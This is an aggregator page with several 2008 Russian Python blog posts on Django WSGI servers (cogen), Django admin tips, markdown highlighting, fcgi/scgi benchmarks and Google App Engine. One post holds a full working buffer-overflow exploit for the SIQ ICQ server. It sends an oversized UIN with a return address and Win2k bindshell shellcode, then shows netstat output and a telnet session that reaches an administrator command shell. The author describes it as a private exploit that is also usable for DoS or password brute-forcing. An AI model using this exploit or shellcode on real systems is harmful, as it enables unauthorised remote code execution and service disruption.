RSS новости
Каталог / Форумы, блоги

slav0nic's blog

Добавить ленту в 'Закладки'Заметки о python, linux и других занимательных вещах

Транслировать ленту у себя на сайтеТранслировать эту RSS ленту на своем сайте
29.07.08 18:40:50

Альтернативные WSGI сервера для Django

Столкнулся с проблемой, после обновления джанги перестал корректно работать сервер scgi-flup + lighttpd. Причина банально проста, при POST-запросе на / получаем /, то есть вылазит SCRIPT_NAME :|. По совету на pythonua@c.j.r вылечил установкой параметра FORCE_SCRIPT_NAME = ''. Но flatpages отвалились, тк они по прежнему искали /about %) Желание откатываться на django 0.97 оставил, поэтому стал искать альтернативный метод решения проблемы. Как показали тесты, python-scgi (набор библиотек от автора протокола) оказался быстрее чем flup (процентов на 30-40%, проверял на хеллоуворлде) к тому же последний неплохо течёт при большой нагрузке, но прикрутить его к django нет возможности (ибо не WSGI, а всякие гейты scgi-WSGI типа SWAP и тп являются мёртвыми проектами и неактуальными, да и врядли положительно скажутся на скорости).

WSGI решения

Сначала попробовал CherryPy, всё легко запускается, довольно быстро работает, но хотел чего-то большего ;) С подачи piranha глянул на FAPWS2 (Fast Asynchronous Python WebServer). Штука довольно интересная, использует libevent и основная часть кода написана на С, вечером нам всё таки удалось запустить проект на django 1.0. Из плюсов:

Из минусов:

Одной из самый больших проблем оказалось отсутствие поля REMOTE_ADDR в запросе, из-за которого джанга местами валилась, хотя это можно легко исправить, но не факт что с остальным всё хорошо ;)

2й выбор пал на Cogen - "Coroutines and crossplatform asynchronous networking in python using enhanced generators from python 2.5" как описал это автор. Грубо говоря, это что-то вроде mini-twisted (надеюсь этой фразой я не спалил своё дилетанство в данном вопросе =) ) Так вот он, кроме всего, содержит в себе WSGI - сервер + работает через py-epoll. Для wsgi используется скрипт взятый из cherry, но доработанный под фреймворк (если это можно так назвать).

Теперь о вкусном=) По адресу http://code.google.com/p/cogen/wiki/WsgiServerBenchmark расположены бенчмарки, да, местами Twisted-Web2 выигрывает в скорости, но лично у меня нет желания юзать сию махину для данной цели, да и думаю там есть чему течь ;) Cogen также поддерживает middleware (смотреть cogen.web.async, хотя на WSGI мидлеты они не сильно похожи В] )

Запуска Django на Cogen

После запуска порадовала скорость, даже при 500 конкурирующих запросах (да, мало кому нужна такая нагрузка, но ради академического интереса пригодится) приложение не падало, ни одого failed request, при этом запросы обрабатывались равномерно (примерно за однин временной диапазон) %) В общем "ни единого разрыва" :p. Утечки памяти не были обнаружены, в то время как флуп при такой нагрузке отвечал на 25% запросов ошибкой. Из недостатков: как я понял у многих wsgi серверов проблемы с обработкой wsgi.input (хз в чём сложность, но в cogen и ещё одном сервере "из коробки" этого нет) и как поведёт себя cogen например при загрузке файла, я сказать не могу ибо не тестил, но сию проблему решил по простому (по дефолту от POST запросов джанга валится в трейсбек, тк wsgi.input = None). Скрипт для запуска Django:

#!/usr/bin/env python2.5
import sys
import os
import os.path
from cogen.web import wsgi
from cogen.web.async import sync_input
from cogen.common import *
if not os.path.dirname(__file__) in sys.path[:1]:
    sys.path.insert(0, os.path.dirname(__file__))
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings'

from django.core.handlers.wsgi import WSGIHandler
application = WSGIHandler()
m = Scheduler(default_priority=priority.LAST, default_timeout=15)
server = wsgi.WSGIServer(
           ('localhost', 9000),
            sync_input(application), #!!! load middleware for wsgi.input
            m,
            server_name='localhost')
m.add(server.serve)
try:
    m.run()
except (KeyboardInterrupt, SystemExit):
    pass

ЗЫ: easy_install cogen Проект довольно интересный, недостатков пока что не выявил. На сайте имеется документация и примеры скриптов, да и основная часть написана на python, разобраться не проблема. Возможно попробую использовать его + lighttpd c mod_proxy на боевом сервере. Написал заметку ради твика скрипта для обработки wsgi.input %))

21.07.08 13:21:31

Первый "блин" на Django

Давно ничего не писал в блог, т.к. сдавал диплом и писал футбольный портал (пока не презентабельно) Вот захотелось поделиться впечатлениями и имхами по ряду вещей и django в целом. Впечатления остались ... хорошими %) Последний раз смотрел на джангу года 3 назад, разница конечно большая.

Итак пару слов о проекте. Портал представляет из себя систему с блоками новостей и разделами, тегами, простыми блогами, форумом, регистрацией юзеров, турнирными таблицами, баннерной системой. Писать такое на web.py ммм, конечно можно, но пришлось бы изобретать ряд велосипедов.

Не думал что всё вышеперечисленное будет так просто реализовать%) Из основных модулей использовал:

Вкратце о задачах и возникших сложностях.

Как оказалось, APPEND_SLASH не рaботает c FlatPages, то есть /about/ и /about - разные страницы. Решил сию проблему путём подключения UrlMiddleware и задания APPEND_SLASH = False.

При добавлении новостей было необходимо определять автора, давать пользователю задавать поле "автор" показалось не сильно корректным, но в джанге удобных средств для решения задачи не оказалось. Пришлось воспользоваться мидльварей ThreadLocals, которая при каждом запросе выдирает значение user из запроса и присваивает его глобальной переменной (на самом деле локальному треду, но это не столь важно =) ), который можно получить через ф-цию get_current_user(). Выглядит это примерно так:

 def save(self):
    if not self.id:
        self.author = threadlocals.get_current_user()
    super(News, self).save()

В блогах потребовалось разграничить доступ для пользователей, то есть после авторизации пользователь должен видить только свои объекты (записи). Это легко можно сделать при помощи NFA, путём переопределения queryset() метода:

class EntryAdmin(admin.ModelAdmin):
    ...
def queryset(self, request):
    qs = super(EntryAdmin, self).queryset(request)
    if not request.user.is_superuser:
        qs = qs.filter(blog__author=request.user)
    return qs

Таким образом мы получим только записи из блога залогиненого пользователя, довольно удобная штука (спасибо Кошелеву) =)

Когда я только начал писать проект, оказалось что ф-ции агрегации в ORM отсутвуют, но после рефакторинга-qs, кое-что появилось, о чём мало кто знает. В одной из задач возникла необходимость в группировки объектов, теперь через ORM это делается так:

   qs = Schedule.objects.select_related().filter(pub_date__gte=datetime.now())
   qs.query.group_by = ['country_id']
   return {'schedule': qs}

Но вот Inline редактирование после NFA не понравилось, в старой админке это делалось 1й строкой, теперь же надо напистаь около 10 строк%). Пример прикручивания профиля к стандартной модели User:

from django.contrib import admin
from profile.models import UserProfile
from django.contrib.auth.models import User

class ProfileInline(admin.StackedInline):
        model = UserProfile
        extra = 1
        max_num = 1

class ProfileAdmin(admin.ModelAdmin):
        inlines = (ProfileInline,)

admin.site.unregister(User)  #!!!
admin.site.register(User, ProfileAdmin)

По началу кажется избыточно, но потом привыкаешь (а ещё надо въехать где какую модель подставлять %)) Вместе с радостями жизни, узнал о get_profile()... это ужасная штука, которую я больше никогда не буду юзать, хотя снизить число запросов на 1 странице удалось при помощи тега cache в шаблонах Кстати в примере из документации, по подключению админки, пропущен вызов admin.autodiscover() в urls.py, так как без него мы получим пустую админку, если её описание задано в admin.py (данная ф-ция пробегает по всем apps и пытается импортировать admin.py) Кстати не советую объявлять прямо в модели, ибо вылазят ошибки, говорящие о том, что админка для модели уже задана. А вот FormSet'ы не осилил, долго маялся как убрать чекбокс delete над inline объектом (в старой админке это делалось через указание одной переменной). Хотя понял что надо задать can_delete = False, но где и как пока не ведомо) ибо по формсетам вменяемых примеров маловато, особенно по BaseInlineFormSet.

Комментарии решил хранить в форуме на базе django-forum. Кстати хочется оторвать яйца тому, кто когда-то в своём блоге хвалил сею поделку%) отсутсвие пагинации и по 30 запросов на 1 страницу это уж слишком, но при помощи ловкости рук и select_related() удалось довести до ума:

{% cache 600 profile comment.author %}
{% if comment.author.get_profile.city %}
        ({{comment.author.get_profile.city}})
{% endif %}
{% endcache %}

comment.author необходим для уникальности кеша

И последний момент - newforms. Было необходимо построить форму для модели (по началу думал руками нарисовать и не париться%), было бы быстрее...), но возникла необходимость заменить стандартный "class" на указанный в css:

from django.newforms.models import ModelForm
from django.contrib.auth.models import User
from profile.models import UserProfile
from django import forms

class ProfileForm(ModelForm):
        class Meta:
            model = UserProfile
            fields=('city',)

class UserForm(ModelForm):
        class Meta:
            model = User
            fields=('first_name', 'last_name')

#add class=reg4 to input field
for form in (ProfileForm, UserForm):
    for  f in form.base_fields:
        form.base_fields[f].widget.attrs.update({'class': 'rega4'})

Следующий момент. Возникла проблема с профилями, как оказалось они не создаются автоматически при регистрацие пользователя, решил при помощи сигналов (почему-то они вызываются по 2 раза и приходится делать проверку на существование профиля...)

 def create_profile_for_user(sender, instance, signal, created, *args, **kwargs):
        if created:
                try:
                        UserProfile.objects.get(user = instance)
                except (UserProfile.DoesNotExist, AssertionError):
                        p = UserProfile( user = instance )
                        p.save()
dispatcher.connect(create_profile_for_user, signal=signals.post_save, sender=User)

Метод выдрал из какой-то рассылки.

А вот пагинацию я вам не покажу)) ибо уж сильно она убога, а django-pagination поздно заметил.

Держит сие чудо по 25 запросов/сек (без кеша), а местами за 70 %) на простом VPS'e, работает под SCGI на lighttpd в 1 процесс/threaded режим, поедает 20Мб. Имхо не дурно =)

Чёт смотрю на подзаголовок "Вкратце..." ... но переименовывать уже лень=)

Спасибо Кошелеву, Соловьёву и lorien'y за подсказки на старте :] Пожалуй всё. Надеюсь я не принёс в сей мир очередную порцию "гавнакода", а внёс гармонию и красоту :)

04.05.08 13:34:13

Exception #07 video

Нашёл в блоге у Муркта ссылки на долгожданное видео с Exception #7.

Выложено 5 докладов:

Все части доступны на YouTube

Нашёл в блоге у Муркта ссылки на долгожданное видео с Exception #7.

Выложено 5 докладов:

Все части доступны на YouTube

26.04.08 14:41:59

SIQ (icq server for win32) exploit

Года 3 назад страдал фигнёй, пытаясь написать модуль для работы с ICQ, осилил только авторизацию и потерял интерес =)

Так вот, тестил я своё поделие на SIQ (http://www.kht.ru/homepage/apt/siq.htm) - простенький icq сервер от "профессионала, с большим опытом автоматизации бизнес-задач"(кстати opensource), но вот проверять длину uin'a видать не кошерно, а вот и зря..., как раз в то время страдал написанием сплойтов и тп ерундой, ниже код с PoC с биндшеллов для win2ksp4ru ( ну как минимум DoS сплойт отправляющий сервер авторизации SIQAuth в даун В) )

Код никакой ценности не несёт, а вотм мне он дорог как память =), может кому будет интересно (хотя как модуль для перебора паролей к icq либо как убийца корпоративной аси и сгодитя):

# SIQ (www.kht.ru/homepage/apt/siq.htm) exploit 
#Coded by slav0nic (http://slav0nic.org.ua)

import struct
from socket import *
from random import *

"""
word == 2 bytes ;)
FLAP (6 bytes):
    CS - Command Start (byte)  
    CH - Channel    (byte)
    SN - Sequence Number (word) random 
    L - Data Field Length (word)
SNACs:
--------------------------------    
    D - Data (L)  
     \_
      | TLV_id (word)
      | TLV_len (word)
      | TLV_data (TLV_len)
      |.......
"""
#Constants
#   TLV

TLV_UIN = 1
TLV_PWD = 2
TLV_VERSION= 3
TLV_ERROR = 4
TLV_REDIR = 5
TLV_COOKIE = 6
TLV_COUNTRY = 14
TLV_LANG = 15
#---------------------------------
#   Channels
CH_LOGIN = 1
CH_SNAC = 2
CH_ERROR = 3
CH_LOGOUT = 4


HELLO = "\x00\x00\x00\x01"
FLAP_START = "2a"

DBG = 1

def get_hello(s):
    "get FLAP\x00\x00\x00\x01"
    data = s.recv(10)
    if data[-4:] == "\x00\x00\x00\x01":
        return True                
    else:
        return False


def get_length(hex_):
    """
     hexed string ->int
     return int
    """

    tmp = list(map(lambda x: str(ord(x)),tuple(hex_)))   #convert hex->ascii and join
    tmp[0]=int(tmp[0])*256  
    _int=tmp[0]+int(tmp[1])
    return _int                                         #exmpl. 01 0a = 266

def tohex(str_):
    """
    Use for debug
        str->hex
        return ([hex], str)
    """

    hex_= map(lambda x: "%.2x"%ord(x),tuple(str_))
    text =" ".join(hex_)
    return hex_, text

def make_flap(channel,data):

    l = len(data)
    fmt = '!BBhh %ds' %l
    return struct.pack(fmt,0x2a,channel,randrange(0xFFFF),l,data)

def tlv_make(TLV_id, TLV_data):
    """return tlv-encoded string"""
    l = len(TLV_data)
    fmt = '!hh %ds' % l
    return struct.pack(fmt, TLV_id, l, TLV_data)


def parse_tlv(data):
    """
    received data -> tvl_info{}
    """
    tlv_info = {}
    while 1:
        if len(data)<4: break
        tlv_id  = get_length(data[0:2])   #get tlv id (word)
        tlv_len = get_length(data[2:4])  #and len    (word)       
        tlv_info[tlv_id]=data[4:4+tlv_len]
        data    = data[4+tlv_len:]  #remove parsed data
    return tlv_info

def make_snac(family, subtype, flags, req_id):
    fmt="!hhhl"
    return struct.pack(fmt,family, subtype, flags, req_id)

def parse_flap(data):
    hex_data = tohex(data)[0]
    CS = hex_data[0]
    if CS != FLAP_START:
        if DBG: print "[-]Protocol error."
    CH = hex_data[1]
    SN = "".join(hex_data[2:4])
    L = "".join(hex_data[4:6])
    data_size=get_length(data[4:6])
    D = "".join(hex_data[6:6+data_size])
    tlv_info = parse_tlv(data[6:6+data_size])
    print tlv_info
    #LOGIN
    if tlv_info.has_key(TLV_REDIR):
        ip_port=tlv_info.get(TLV_REDIR)
        if tlv_info.has_key(TLV_COOKIE):
            cookie = tlv_info.get(TLV_COOKIE)
        ip, port = ip_port.split(":")
        s = socket(AF_INET, SOCK_STREAM)
   #     s.settimeout(3)                 #DBG
        s.connect((ip, int(port)))

        packet="\x2a\x01"+\
                "\x20\x04\x01\x08\x00\x00\x00\x01"+\
                tlv_make(6,cookie)
        s.send(packet)
        get_hello(s)
        rec=s.recv(1024)

        print "\n\nrec ",tohex(rec)[1]
        packet=make_flap(CH_SNAC,make_snac(0x1, 0x17, 0, 0)+\
                         "\x00\x01\x00\x04\x00\x13\x00\x04\x00\x02"+\
                         "\x00\x01\x00\x03\x00\x01\x00\x01\x00\x15"+\
                         "\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01"+\
                         "\x00\x09\x00\x01\x00\x0a\x00\x01\x00\x0b\x00\x01")
        s.send(packet)
        rec=s.recv(1024)
        print "\n\n",tohex(rec)[1]


    if DBG:
        print "\nCS=%s CH=%s SN=%s L=%s \nD=%s"\
              %(CS, CH, SN, L, D)

def make_pass(str_):
    """
       encode string to password
       len(password) <= 16
       return binary string
    """
    roasting_array = ( 0xF3, 0x26, 0x81, 0xC4,
                       0x39, 0x86, 0xDB, 0x92,
                       0x71, 0xA3, 0xB9, 0xE6,
                       0x53, 0x7A, 0x95, 0x7C)
    passwrd ="".join(map(lambda char, roast_byte: "%c"%(ord(char)^(roast_byte)), tuple(str_), roasting_array[:len(str_)]))
    return passwrd

def login(uin, password):
    """
    uin and password - string
    return True if logged
    """
    serverHost = "127.0.0.1" #login.icq.com
    serverPort = 5190   
    message = make_flap(CH_LOGIN,HELLO +\
          tlv_make(TLV_UIN, uin)+\
          tlv_make(TLV_PWD, make_pass(password))+\
          tlv_make(TLV_VERSION, "3ICQ Inc. - Product of ICQ (TM).2003a.5.47.1.3800.85")+\
          tlv_make(16, "\x01\x0a")+\
          tlv_make(17, "\x00\x03")+\
          tlv_make(18, "\x00\x03")+\
          tlv_make(19, "\x00\x01")+\
          tlv_make(0x1a, "\x0e\xd8")+\
          tlv_make(0x14, "\x00\x00\x00\x55")+\
          tlv_make(TLV_LANG, "ru")+\
          tlv_make(TLV_COUNTRY, "ru"))
    sockobj = socket(AF_INET, SOCK_STREAM)
    sockobj.connect((serverHost, serverPort))
    data = sockobj.recv(1024)    #get hello msg (test packet)       
    if DBG:  print "<<",tohex(data)[1]
    if (tohex(data)[1][0:2] == FLAP_START) and HELLO in data:
        if DBG:  print "[+]Connected"
    else:
        print "[-]Server error. Can't get test FLAP"
        sockobj.close()
    if DBG: print "->",tohex(message)[1]
  #  sockobj.settimeout(10)  #DBG
    while True:
        sockobj.send(message)
        data = sockobj.recv(1024)
        if DBG: print "<<",tohex(data)[1]
        parse_flap(data)
    return True


if __name__=="__main__":
    "bindshell 4444 shellcode for  win2ksp4ru"
    sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
    sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
    sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
    sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
    sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
    sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
    sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
    sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
    sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
    sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
    sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
    sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
    sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
    sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
    sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
    sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
    sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
    sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
    sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
    sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
    sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
    sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
    sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
    sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
    sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"


    #uin_for_DoS = 'A'*1023+'\x90'*418+'X'+'\x90'*418#1860 bytes#
    uin = 'A'*1072+struct.pack('<L',0x0072FCF0)+sc+'\x90'*400
    login(uin,"123")

Запускаем и вуаля...

<< 2a 01 68 d3 00 04 00 00 00 01

[+]Connected

-> 2a 01 3b 3e 07 cc 00 00 00 01 00 01 07 53 41 41 41 41 41 41 41 41 41 41 41 41 
...

Смотрим открытые порты и видим наш 4444 порт В) :

C:\\WebServer\\siq>netstat -na

Активные подключения

Имя    Локальный адрес        Внешний адрес          Состояние

TCP    0.0.0.0:135            0.0.0.0:0              LISTENING

TCP    0.0.0.0:445            0.0.0.0:0              LISTENING

TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING

TCP    0.0.0.0:1026           0.0.0.0:0              LISTENING

                                ...

TCP    0.0.0.0:1035           0.0.0.0:0              LISTENING

TCP    0.0.0.0:1058           0.0.0.0:0              LISTENING

TCP    0.0.0.0:1101           0.0.0.0:0              LISTENING

TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING

TCP    0.0.0.0:5190           0.0.0.0:0              LISTENING

TCP    0.0.0.0:5191           0.0.0.0:0              LISTENING

Телнетимся к порту telnet 4444 и попадаем в cmd консоль с админскими правами.

Microsoft Windows 2000 [Версия 5.00.2195]

(с) Корпорация Майкрософт, 1985-2000.



C:\WINNT2\system32>

Пойду понастальгирую и поковыряю другие коды) Кстати сплойт в нете ещё не выкладывался, будем считать его приватным В)

SIQ Exploit

13.04.08 20:05:47

Подсветка кода в markdown при помощи pygments

Решил прикрутить подсветку к markdown, благо он поддерживает плагины, но писать самоу не пришлось, ибо он уже написан и имя ему CodeHilite. Поддерживает 3 способа подсветки кода:

Для добавления к работе с mardown достаточно скачать mdx_codehilite.py и кинуть его с sys.path. Для работы с pygments необходимо сгенерировать css-файл подсветки кода ну и подключить его к странице в которой будет выводиться код:

pygmentize -f html -S colorful -a .codehilite > pygments.css

Далее всё просто:

>>> import markdown
>>> txt = """
...     :::python
...     #comment
...     print "hello"
... """
>>> markdown.markdown(txt, ['codehilite(hiliter=pygments)'])
u'<div class="codehilite"><pre><span class="c">#comment</span>\n<span class="k">print</span> 
<span class="s">&quot;hello&quot;</span>\n</pre></div>'

Для смены способа подсветки кода необходимо лишь сменить hiliter, за вывод номеров строк отвечает параметр force_linenos (значения on/off).

Удобная штука;]

13.04.08 14:53:20

fcgi vs scgi vs cherrypy (web.py dev server)

Приспичило посмотреть что есть scgi и чем он лучше. Тестил на lighttpd 1.49, возможно по этому результаты немного отличается от предыдущих тестов

Тестил при помощи ab на локалхосте. На простом приложении на web.py 0.23 для scgi:

slav0nic@sl:~$ cat /var/www/test/code.fcgi

#!/usr/bin/python2.5
import web, sys

urls = (
        '/', 'index'
    )
class index:
        def GET(self):  
            web.header("Content-Type","text/html; charset=utf-8")
            print web.ctx   

web.wsgi.runwsgi = lambda func, addr=("127.0.0.1", 4000): web.wsgi.runscgi(func, addr)
if __name__ == '__main__':  
    sys.stderr = open("/dev/null", "a") #не выводим в консоль инфу о коннектах
    web.run(urls, globals())

конфиг для mod_scgi:

scgi.server = ( "/code.fcgi" => ((   
    "host" => "127.0.0.1",
    "port" => 4000,
    "max-procs" => 1,
    "bin-environment" => ("REAL_SCRIPT_NAME" => ""),
    "check-local" => "disable")

))

для mod_fcgi:

fastcgi.server =  ".fcgi" => 
    (("bin-path"=>"/var/www/test/code.fcgi",
     "socket" => "/tmp/python.socket",
       "bin-environment" => (
            "REAL_SCRIPT_NAME" => "",
            "check-local" => "disable"),
       "max-procs" => 1,
    ))

SCGI-приложение запускалось как простой файл ./code.fcgi c lighttpd общалось через tcp socket (через unix-socket оно похоже и не умеет, увы с доками к mod_scgi полная ж@#$). stderr редиректил в /dev/null, без этого на ~30-50 запросов в секунду меньше (при запусуке в gnome-terminal) Длина документа примерно 2Кб.

Максимальное число запросов в секунду выделено жирным, 2й - курсив, выдача статики приведена просто для сравнения и интеерса не представляет =)

Итакс результаты:

1 конкурирующий запрос, 2к запросов (последовательных)

  1. FCGI, ab -n2000 localhost/
    Requests per second: 564.05

  2. CherryPy/3.0.1 (то что в web.py встроено) ab -n2000 localhost:8080/
    Requests per second: 898.09

  3. SCGI, /usr/sbin/ab -n2000 localhost/
    Document Length: 2104 bytes
    Requests per second: _ 674.35_
    Transfer rate: 1503.80 [Kbytes/sec] received

  4. lighttpd static, /usr/sbin/ab -n2000 localhost/static/
    Document Length: 2455 bytes
    Requests per second: 3053.12

5 конкурирующих запросов:

  1. FCGI, /usr/sbin/ab -n2000 -c5 localhost/
    Failed requests: 741
    Requests per second: 537.87
    Transfer rate: 1196.75 [Kbytes/sec] received

  2. CherryPy/3.0.1, /usr/sbin/ab -n2000 -c5 localhost:8080/
    Failed requests: 3
    Requests per second: 880.78
    Transfer rate: 1540.49 [Kbytes/sec] received

  3. SCGI, sl:/etc/lighttpd# /usr/sbin/ab -n2000 -c5 localhost/
    Requests per second: 764.70
    Transfer rate: 1705.28 [Kbytes/sec] received

  4. lighttpd static, /usr/sbin/ab -n2000 -c5 localhost/static/
    Requests per second: 3301.76
    Transfer rate: 8449.20 [Kbytes/sec] received

25 конкурирующих запросов:

  1. FCGI, /usr/sbin/ab -n2000 -c25 localhost/
    Failed requests: 718
    Requests per second: 500.37
    Transfer rate: 1112.56 [Kbytes/sec] received

  2. CherryPy/3.0.1 /usr/sbin/ab -n2000 -c25 localhost:8080/
    Requests per second: 664.86
    Transfer rate: 1163.18 [Kbytes/sec] received

  3. SCGI, /usr/sbin/ab -n2000 -c25 localhost/static/
    Requests per second: 716.10
    Transfer rate: 1596.89 [Kbytes/sec] received

  4. lighttpd static, /usr/sbin/ab -n2000 -c25 localhost/static/
    Requests per second: 3643.83
    Transfer rate: 9311.81 [Kbytes/sec] received

PS: из результатов не понял что есть failed connection при использвоании FCGI, возможно это баг ab, возможно таки fascgi при нагрузке захлёбывался (аналогичное было при scgi, когда я не делал редирект stderr с консоли в /dev/null), хотя при попытках загрузки страницы браузером всё было ок, по результатам ab 40% запросов вернули ошибки... От cherry не ожидал такой скорости (при этом я не делал редирект коннектов в /dev/null, а stdio неплохо тормозит работу программы...), scgi выиграл только при значительной нагрузке, думаю при кластеризацие цифра будет ещё больше. ЗЫ: для проектов, с большой нагрузкой - fcgi в топку, из недостатоков scgi отмечу лишь "сложность" запуска, софтину надо запускать как демон, при этом прописать bin-path как в mod_fcgi (чтоб сервер сам это делал при старте) - не вышло.

11.04.08 22:39:55

markitUp

На днях возжелал прикрутить к админке какой-нибудь редактор, поддерживающих markdown, при этом являющимся чем-то средним между textarea и WYSIWYG Наткнулся на wmd-editor, но что-то он показался уж сильно простым=). С посыла piranha глянул markitUp. На нём и остановился:). Из особенной отмечу:

markit

Также легко встраивается (даже такое далёкое от javascript существо как я, осилило сей незамысловатый процесс=] ). Из особенностей настройки отмечу лишь пару моментов при прикучивании markdown плагина...

В файле markitup/sets/markdown/set.js в настройках стоит добавить строку:

nameSpace:      "markdown",

И указать previewParserPath , например:

previewParserPath:      "/entry/preview"

Тут начинается интересный момент, в markitup имеется баг, при использовании utf8 в превьюшку посылаются кривые данные, для избавления от бага стоит заменить 389 строку в jquery.markitup.js, ф-цию escape($$.val()) заменить на encodeURIComponent($$.val()).

Контроллер /entry/preview выглядит просто:

class Preview:

 def POST(self):
    i = web.input()
    print markdown.markdown(i.data.decode("utf8"))

То есть превью текст передаётся в переменной data. Осталось прикрутить pygments к markdown и можно жить В)

08.04.08 21:16:16

Python.com.ua -> python.su

Всё таки Денис Откидач подарил нам su домен, за что ему большое спасибо=)

link

08.04.08 19:32:40

Google App Engine

Тихо и незаметно гугл ведёт разработку своего вэб-фреймворка. Только сегодня был открыт блог разработчиков  googleappengine.blogspot.com .

Офсайт фреймворка: appspot.com

Готовые/разрабатываемые приложения: appgallery.appspot.com

Docs/SDK/etc : code.google.com/appengine

Пока что фрейморк довольно простой, включает в себя db api, user api, email api, url fetch api  и в принципе всё, ну диспатчер, шаблоны имеются (взятые с django, которая каким-то боком также прикручивается).

Многим он напоминает web.py :] Основной девелопер которого, даже выложил маленький код с использованием ORM из "gappe" и web.py 0.3 (dev): http://webpy.appspot.com

PS: поделка довольно забавная, но имхо  по душе прийдётся лишь тем, кому не тошнить стиль webpy приложений) Джангистам он врядли прийдётся по душе. Надеюсь девелоперы webpy выдерут из него что-то полезное В)

 

 

05.04.08 23:44:53

Свежая мукулатура :]

Выложил пару новых книжек. Одна по pygame, 2я - по QT.

 Beginning Game Development with Python and Pygame


Rapid GUI programming with Python and QT (2008)



Всего лент: 6425

Поиск

Google

Товары

Mordaunt-Short Avant 902Mordaunt-Short Avant 902
$194.00..$205.00
Тип установки: полочная; Назначение: комплект 2.0; Тип: нет данных; Кол-во динамиков: 2; Кол-во полос: 2; Цвет отделки: черный, клен; Материал отделки: MDF; Чув
Sven HP-880SSven HP-880S
$148.78
Тип установки: полочная; Назначение: комплект 2.0; Тип: пасcивные; Кол-во динамиков: нет данных; Кол-во полос: 2; Цвет отделки: черный рояльный лак; Тыл: 80; Ма
Sven HP-742FSven HP-742F
$150.68..$198.51
Тип установки: напольная; Назначение: комплект 2.0; Тип: пасcивные; Кол-во динамиков: 4; Кол-во полос: 3; Цвет отделки: бук, черный, cеребро; Материал отделки:

Статистика